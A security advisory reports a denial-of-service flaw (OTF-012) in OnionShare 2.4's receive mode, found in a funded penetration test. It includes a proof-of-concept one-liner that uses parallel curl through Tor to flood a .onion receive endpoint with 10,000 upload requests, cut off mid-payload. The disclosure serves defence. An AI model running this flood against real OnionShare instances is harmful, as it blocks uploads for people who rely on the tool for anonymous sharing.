Affected: onionshare
OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. In affected versions the receive mode limits concurrent uploads to 100 per second and blocks other uploads in the same second, which can be triggered by a simple script. An adversary with access to the receive mode can block file upload for others. There is no way to block this attack in public mode due to the anonymity properties of the tor network.
Affected: PyPI: onionshare-cli
Between September 26, 2021 and October 8, 2021, [Radically Open Security](https://www.radicallyopensecurity.com/) conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund's [Red Team lab](https://www.opentech.fund/labs/red-team-lab/).
- Vulnerability ID: OTF-012 - Vulnerability type: Denial of Service - Threat level: Moderate
## Description:
The receive mode limits concurrent uploads to 100 per second and blocks other uploads in the same second, which can be triggered by a simple script.
## Technical description:
The following script uses GNU parallel and curl with around 6000 requests in parallel to send 10000 requests. A change in the `ulimit -n` configuration is required for it to work. This is sufficient to block file upload on a (public) receive instance.
``` seq 10000 | parallel --max-args 0 --jobs 6000 "curl -i -s -x socks5h://localhost:9150 -k -X $'POST' -H $'Host: csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------19182376703918074873375387042' -H $'Content-Length: 329' -H $'Connection: close' --data-binary $'-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"file[]\"; filename=\"poc.txt\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aA\x0d\x0a-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"text\"\x0d…